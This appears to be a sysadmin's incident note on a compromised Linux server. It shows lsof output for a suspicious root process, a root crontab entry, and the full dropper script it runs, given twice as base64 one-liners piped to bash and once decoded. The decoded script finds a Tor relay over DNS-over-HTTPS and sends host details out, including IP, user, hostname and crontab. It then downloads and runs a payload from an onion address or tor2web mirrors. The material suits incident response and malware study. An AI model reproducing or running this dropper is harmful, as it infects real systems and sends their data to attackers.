Server-Hacked

└─# lsof -c uBXOvYBM
COMMAND     PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME
uBXOvYBM 318196 root  cwd       DIR     254,1     4096         2 /
uBXOvYBM 318196 root  rtd       DIR     254,1     4096         2 /
uBXOvYBM 318196 root  txt       REG     254,1   819252   1048698 /root/08db56cb75fd057be28be1007c5f4424 (deleted)
uBXOvYBM 318196 root  DEL       REG      0,14          127380184 /anon_hugepage
uBXOvYBM 318196 root  DEL       REG      0,14           17030308 /anon_hugepage
uBXOvYBM 318196 root  DEL       REG      0,14           17030306 /anon_hugepage
uBXOvYBM 318196 root  mem       REG     254,1      582    925625 /usr/share/zoneinfo/PRC
uBXOvYBM 318196 root    0u  a_inode      0,13        0      8043 [eventfd]
uBXOvYBM 318196 root    1u  a_inode      0,13        0      8043 [eventfd]
uBXOvYBM 318196 root    2r      CHR       1,3      0t0         4 /dev/null
uBXOvYBM 318196 root    3u  a_inode      0,13        0      8043 [eventpoll]
uBXOvYBM 318196 root    4r     FIFO      0,12      0t0  17030300 pipe
uBXOvYBM 318196 root    5w     FIFO      0,12      0t0  17030300 pipe
uBXOvYBM 318196 root    6r     FIFO      0,12      0t0  17030299 pipe
uBXOvYBM 318196 root    7w     FIFO      0,12      0t0  17030299 pipe
uBXOvYBM 318196 root    8u  a_inode      0,13        0      8043 [eventfd]
uBXOvYBM 318196 root    9w      REG     254,1        7    262168 /tmp/.X11-unix/11
uBXOvYBM 318196 root   10u     IPv4 129901501      0t0       TCP iZwgo7e0o4xyirZ:41142->static.99.90.243.136.clients.your-server.de:http-alt (ESTABLISHED)

└─# crontab -l 
33 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")

sockz() {
n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su 
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

有时间分析一下此样本